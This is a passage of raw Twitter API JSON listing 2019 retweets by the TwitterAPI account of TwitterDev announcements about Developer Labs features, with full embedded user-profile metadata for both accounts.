website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Oct 29 19:37:15 +0000 2019\",\"id\":1189264953368338432,\"id_str\":\"1189264953368338432\",\"text\":\"Study a sample of timely, relevant Tweets as they happen, with the newest release in Twitter Developer Labs.\\u2026 https:\\\/\\\/t.co\\\/Y5QMh8rNoh\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Y5QMh8rNoh\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1189264953368338432\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[110,133]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":45,\"favorite_count\":139,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":45,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Wed Sep 18 16:41:39 +0000 2019\",\"id\":1174362863118372867,\"id_str\":\"1174362863118372867\",\"text\":\"RT @TwitterDev: Today in Twitter Developer Labs we\\u2019re releasing a new way to filter Tweets in real-time. This is one of the most popular fe\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Sep 18 16:36:10 +0000 2019\",\"id\":1174361480734466048,\"id_str\":\"1174361480734466048\",\"text\":\"Today in Twitter Developer Labs we\\u2019re releasing a new way to filter Tweets in real-time. This is one of the most po\\u2026 https:\\\/\\\/t.co\\\/RElmBW5XxM\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/RElmBW5XxM\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1174361480734466048\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":107,\"favorite_count\":231,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":107,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Aug 27 17:30:39 +0000 2019\",\"id\":1166402661282746368,\"id_str\":\"1166402661282746368\",\"text\":\"RT @TwitterDev: Our latest Twitter Developer Labs release helps you quickly assess the impact of your Tweets. Today, we\\u2019re releasing \\n\\n\\u2728a n\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Aug 27 17:25:06 +0000 2019\",\"id\":1166401263170281472,\"id_str\":\"1166401263170281472\",\"text\":\"Our latest Twitter Developer Labs release helps you quickly assess the impact of your Tweets. Today, we\\u2019re releasin\\u2026 https:\\\/\\\/t.co\\\/a8PaA1wg5A\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/a8PaA1wg5A\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1166401263170281472\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":56,\"favorite_count\":165,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":56,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Fri Aug 16 17:25:53 +0000 2019\",\"id\":1162415194749882368,\"id_str\":\"1162415194749882368\",\"text\":\"RT @TwitterDev: As of today, we\\u2019re simplifying permissions for third-party apps. Most developers won't be impacted, but if your app uses th\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Aug 16 17:07:22 +0000 2019\",\"id\":1162410535121387525,\"id_str\":\"1162410535121387525\",\"text\":\"As of today, we\\u2019re simplifying permissions for third-party apps. Most developers won't be impacted, but if your app\\u2026 https:\\\/\\\/t.co\\\/VemT1Licd9\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/VemT1Licd9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1162410535121387525\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":33,\"favorite_count\":95,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":33,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Thu Aug 15 16:24:23 +0000 2019\",\"id\":1162037328442875904,\"id_str\":\"1162037328442875904\",\"text\":\"RT @TwitterDev: #iterating: We recently released a long-requested feature in Twitter Developer Labs: \\n\\n\\ud83d\\udcccDeveloper\\u2019s can now request a user\\u2019\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[16,26]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Thu Aug 15 16:20:05 +0000 2019\",\"id\":1162036247314833408,\"id_str\":\"1162036247314833408\",\"text\":\"#iterating: We recently released a long-requested feature in Twitter Developer Labs: \\n\\n\\ud83d\\udcccDeveloper\\u2019s can now request\\u2026 https:\\\/\\\/t.co\\\/rRlVHaBTs2\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"iterating\",\"indices\":[0,10]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rRlVHaBTs2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1162036247314833408\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web 